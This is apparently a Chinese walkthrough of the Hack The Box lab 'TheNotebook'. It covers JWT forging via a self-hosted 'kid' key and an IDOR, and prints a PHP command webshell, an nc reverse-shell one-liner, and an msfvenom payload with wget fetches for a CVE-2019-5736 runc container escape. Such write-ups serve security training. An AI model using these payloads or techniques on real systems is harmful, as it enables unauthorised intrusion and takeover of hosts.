HTB-TheNotebook

news2025/1/12 6:20:10

HTB-TheNotebook

  • 信息收集
    • 80端口
      • JWT攻击
  • 立足
  • www-data -> noah
  • noah -> root

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
存在一个登录和注册用户业务。先看看登录业务,在登录中如果我输入不存在的用户就会出现: Login Failed! Reason: User doesn’t exist.
在这里插入图片描述
如果是存在的用户就会出现: Login Failed! Reason: Incorrect Password
在这里插入图片描述
接着去测试了一下注册业务。
在这里插入图片描述
脑子浮现出三种可能:二次注入、hydra暴力破解admin密码、SQL/NoSQL注入。一个一个来吧,hydra挂后台,先试二次注入。但是通过简单的测试发现SQL/NOSQL和二次注入似乎不成立。(hydra还在后台努力着)
在这里插入图片描述

不过我在对网站进行抓包时发现了一个有趣的东西。我们首先注册一个用户tom,目标会给我们一个设置两个cookie一个是auth猜测是tom的复杂身份证,第二个uuid猜测是tom的简单身份证。
在这里插入图片描述
当我们使用notes业务时,网站会导航向/tom的简易身份证/notes格式来使用notes业务。
在这里插入图片描述
在tom帐号内创建两个notes。

在这里插入图片描述

记住tom的uuid(简易身份证),退出登录创建新的用户jerry并登录,然后访问notes时将tom的uuid替换掉jerry的uuid,就能以jerry的身份访问tom的notes。

在这里插入图片描述

JWT攻击

如果我们能知道admin或者test用户的uuid就能读取他们的notes。先放在这万一有用,你看那个auth的cookie开头是ey,可能是jwt,丢到jwt.io看看。
在这里插入图片描述

JWT header中的alg是加密算法、typ是类型、kid是指定加密算法的密钥,该密钥的位置是本地的7070端口中的privKey.key。payload中"admin_cap": false似乎是用来判断是否为管理员的。因为要伪造满足条件的JWT,需要在本地创建一个RSA RS256密钥,要和JWT中的密钥相同才能伪造验证,所以我们要创建一个admin_cap:true的JWT。首先要在本地创建一个创建一个kid,然后修改admin_cap:true就可以了。

在本地生成一个长度为2048的RS256 rsa密钥:openssl genrsa -out rsa-private-key.pem 2048,并且使用python建立一个简易的http服务。
在这里插入图片描述

在这里插入图片描述

然后来到jwt.io,选择RS256加密,接着添加必要的信息。

在这里插入图片描述
最后在tom的登录状态下,修改tom的auth JWT,目标通过获取我们伪造的kid与JWT中的private核对,成功后获得管理员身份。
在这里插入图片描述

在admin面板,有两个选择一个是查看notes,一个是上传文档。notes中貌似就管理员留下的fix config和管理员配置了定期备份可以注意一下。
在这里插入图片描述

接着就是上传文件,通过上传phpinfo测试是否执行php代码。
在这里插入图片描述

立足

上传webshell。

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

在这里插入图片描述
它每隔几分钟会删除上传的文件,不过不怎么影响。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.31 443 >/tmp/f

在这里插入图片描述

www-data -> noah

有备份是个好习惯,但是需要注意备份的权限管理。在/var找到一个backups。
在这里插入图片描述
有趣的是,管理员把home也备份了一遍。

在这里插入图片描述
将home的备份文件传输过去后解压打开可以看到noah用户的ssh私钥,使用私钥登录。
在这里插入图片描述

noah -> root

在这里插入图片描述

/usr/bin/docker exec -it webapp-dev01*
#***命令解释***
/usr/bin/docker exec -在docker容器中执行命令
-i :即使没有附加也保持STDIN 打开
-t :分配一个伪终端
/usr/bin/docker exec -it webapp-dev01* 就是在webapp-dev01*容器中分配一个伪终端并可以输入。

查找镜像和容器均没权限。在这里插入图片描述
查看本地tcp端口。

在这里插入图片描述
嗷,容器名字就叫webapp-dev01
在这里插入图片描述

查看docker版本并寻找可能存在的exploit。在这里插入图片描述
在这里插入图片描述

简单来说该漏洞通过从容器内覆盖和执行主机系统 runc 二进制文件来实现。原来PoC要使用到的命令我们并没有权限,所以要换一个利用方法。根据Dockerfile所述,我们需要/overwrite_runc、/replace.sh,以及一些替换操作。
在这里插入图片描述new_runc是overwrite_runc运行所需的。

在这里插入图片描述
new_runc内容看起来是这个样子的。
在这里插入图片描述
也就是说bash_evil、new_runc、overwrite_runc、replace.sh这四个文件是必要的。根据代码推测new_runc是很重要的,在malicious_image_POC的Dockerfile中看到一句话。

在这里插入图片描述
因为环境不同所以我们对new_runc进行修改,尝试将其替换为reverse shell。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.31 LPORT=4444 -f elf -o new_runc

然后把这四个弄过去,记得新开一个SSH。

for i in {bash_evil,new_runc,overwrite_runc,replace.sh};do wget http://10.10.14.31:8000/$i;done

在这里插入图片描述

然后修改相关文件权限。

在这里插入图片描述
接着跟着exec_POC的Dockerfile走。

在这里插入图片描述

最后执行replace。
在这里插入图片描述
OK,目前为止在容器中要进行的操作已经完成了,接下来就是新开的SSH中需要完成的操作。因为我们能执行的操作只有sudo docker exec -it webapp-dev01*,并且此漏洞主要是覆盖并执行。
在这里插入图片描述
在这里插入图片描述

所以sudo docker exec -it webapp-dev01 /bin/bash_original做到上述所说诱骗它执行自身。

在这里插入图片描述
过了一会连上了,但有什么在清理脚本,动作要快。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这篇文章很详细的介绍了CVE-2019-5736的原理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/482252.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Value for SWIFT_VERSION cannot be empty错误解决

出错: 解决方法: 选择后 重新编译成功

【2023 年第十三届 MathorCup 高校数学建模挑战赛】 B 题 城市轨道交通列车时刻表优化问题 42页论文及代码

【2023 年第十三届 MathorCup 高校数学建模挑战赛】 B 题 城市轨道交通列车时刻表优化问题 42页论文及代码 相关链接 【2023 年第十三届 MathorCup 高校数学建模挑战赛】 B 题 城市轨道交通列车时刻表优化问题 详细建模方案及代码实现 1 题目 列车时刻表优化问题是轨道交通…

​力扣解法汇总1376. 通知所有员工所需的时间

目录链接&#xff1a; 力扣编程题-解法汇总_分享记录-CSDN博客 GitHub同步刷题项目&#xff1a; https://github.com/September26/java-algorithms 原题链接&#xff1a;力扣 描述&#xff1a; 公司里有 n 名员工&#xff0c;每个员工的 ID 都是独一无二的&#xff0c;编号从…

【五一创作】【笔记】Git|如何将仓库中所有的 commit 合成一个?又名,如何清除所有 git 提交记录?(附 git rebase 机制的简要分析)

在对代码进行开源时&#xff0c;我们往往并不希望代码开发过程中的提交记录被其他人看到&#xff0c;因为提交的过程中往往会涵盖一些敏感信息。因此会存在 将仓库中所有 commit 合成一个 的需求。 直觉上&#xff0c;往往会用 rebase 和 squash 或 reset&#xff0c;不过我尝…

【Unity-UGUI控件全面解析】| Button 按钮组件详解

🎬【Unity-UGUI控件全面解析】| Button 按钮组件详解一、组件介绍二、组件属性面板2.1 Transition 类型三、代码操作组件四、组件常用方法示例4.1 监听点击事件4.2 按钮过度动画示例💯总结🎬 博客主页:https://xiaoy.blog.csdn.net 🎥 本文由 呆呆敲代码的小Y 原创,首…

JavaWeb——JavaScript

定义: js引入方式&#xff08;两种方式&#xff09; js基础语法 输出语句 变量 var的变量特点1:作用域大&#xff0c;是全局变量 var的变量特点2:可以重复声明 ES6最新增的关键字 数据类型&#xff0c;运算符&#xff0c;流程控制语句 js中也有着类似java的8大基本数据类…

企业级信息系统开发讲课笔记3.3 基于XML配置方式SSM框架西蒙购物网

文章目录 零、本节学习目标一、网站功能需求二、网站设计思路&#xff08;一&#xff09;设计模式&#xff08;二&#xff09;网站前台&#xff08;三&#xff09;网站后台1、用户管理2、类别管理3、商品管理4、订单管理 &#xff08;四&#xff09;购物流程图 三、网站运行效果…

Iron Web Scraper 2023.4.13 Crack

Iron Web Scraper 被认为是 C# 的互联网抓取库&#xff0c;它能够让用户和开发者激发和最终的个人浏览行为&#xff0c;以提取文件、内容甚至图片和应用程序。动词作为 .NET 的本机项。IronWebScraper 具有从后台处理礼貌和多线程进程的能力&#xff0c;这使得用户程序很容易简…

FreeRTOS 任务通知

文章目录 一、任务通知简介二、发送任务通知1. 函数 xTaskNotify()2. 函数 xTaskNotifyFromISR()3. 函数 xTaskNotifyGive()4. 函数 vTaskNotifyGiveFromISR()5. 函数 xTaskNotifyAndQuery()6. 函数 xTaskNotifyAndQueryFromISR() 三、任务通知通用发送函数1. 任务级任务通知通…

一、环境搭建

一、创建新的环境空间 conda create -n yanyu python3.7.4 yanyu为新的环境空间名称&#xff0c;可自定义修改 conda activate yanyu 切换一下环境空间 二、安装sklearn并验证 安装相关包 pip install numpy pip install scipy pip install matplotlib pip install sklear…

Python小姿势 - Python面向对象

Python面向对象 Python是一种面向对象的编程语言&#xff0c;它能够把很复杂的事情简单化。面向对象最大的特点就是数据和对数据的操作分离开了。 举个例子&#xff0c;假设你要做一个学生成绩管理系统&#xff0c;在这个系统里&#xff0c;你需要存储每个学生的姓名、年龄、成…

【2023 年第十三届 MathorCup 高校数学建模挑战赛】A 题 量子计算机在信用评分卡组合优化中的应用 42页论文及代码

【2023 年第十三届 MathorCup 高校数学建模挑战赛】A 题 量子计算机在信用评分卡组合优化中的应用 42页论文及代码 相关信息 【2023 年第十三届 MathorCup 高校数学建模挑战赛】A 题 量子计算机在信用评分卡组合优化中的应用 详细建模过程解析及代码实现 1 题目 在银行信用…

【python知识】推导式和生成器

一、说明 Python 推导式&#xff0c;是针对容器对象&#xff08;列表,字典&#xff0c;集合&#xff0c;元组&#xff09;的产生方式的语句。它可以从一个数据序列构建另一个新的数据序列的结构体。 Python 支持各种数据结构的推导式&#xff1a; 列表(list)推导式字典(dict)推…

从零开始实现 std::string:让你更深入地了解字符串的本质

文章目录 前言string类 的模拟实现一&#xff0c;搭建框架二&#xff0c;重载输入输出操作符 ‘<<’ ‘>>’1. 重载操作符 ‘<<’2.重载操作符 ‘>>’且看方式一来看方式二 三&#xff0c;实现构造函数方式一方式二 四&#xff0c;实现拷贝构造和重载赋…

TCP之报文格式解析

TCP网络协议是较常用的&#xff0c;也基本上都会接触&#xff0c;那么来简单了解下它吧。TCP 是一种面向连接的、可靠的传输协议&#xff0c;它能够将数据分成一些小块&#xff0c;并通过 Internet 进行传输。在 TCP 中&#xff0c;数据被分割成一些称为 TCP 报文段&#xff08…

JetBrains 公布 WebStorm 2023.2 路线图

JetBrains 已公布了 WebStorm 2023.2 版本的路线图&#xff0c;以便用户可以率先了解到官方的规划以及能够预览一下未来能够用上的新功能。 主要聚焦于以下内容&#xff1a; 稳定的新 UI。这是此版本中的优先事项之一。CSS 嵌套支持。WebStorm 2023.2 计划将添加对 CSS 嵌套功能…

TensorRT:自定义插件学习与实践 002:实现GELU

代码连接:https://github.com/codesteller/trt-custom-plugin TensorRT版本的选择 教程代码对应的版本TensorRT-6.0.1.8,我尝试使用TensorRT-7.2.3.4也能通过编译 set_ifndef(TRT_LIB /usr/local/TensorRT-7.2.3.4/lib) set_ifndef(TRT_INCLUDE /usr/local/TensorRT-7.2.3.4…

是不是在为 API 烦恼 ?好用免费的api接口大全呼之欲出

前期回顾 “ ES6 —— 让你的JavaScript代码从平凡到精彩 “_0.活在风浪里的博客-CSDN博客Es6 特性https://blog.csdn.net/m0_57904695/article/details/130408701?spm1001.2014.3001.5501 &#x1f44d; 本文专栏&#xff1a;开发技巧 先说本文目的&#xff0c;本文会分…

有效日志管理在软件开发和运营中的作用

作者&#xff1a;Luca Wintergerst, David Hope, Bahubali Shetti 当今存在的快速软件开发过程需要扩展和复杂的基础架构和应用程序组件&#xff0c;并且操作和开发团队的工作不断增长且涉及多个方面。 有助于管理和分析遥测数据的可观察性是确保应用程序和基础架构的性能和可靠…

JavaScript实现输入数值,判断是否为(任意)三角形的代码

以下为实现输入数值&#xff0c;判断是否为&#xff08;任意&#xff09;三角形的代码和运行截图 目录 前言 一、实现输入数值&#xff0c;判断是否为三角形 1.1 运行流程及思想 1.2 代码段 1.3 JavaScript语句代码 1.4 运行截图 二、实现输入数值&#xff0c;判断是否为…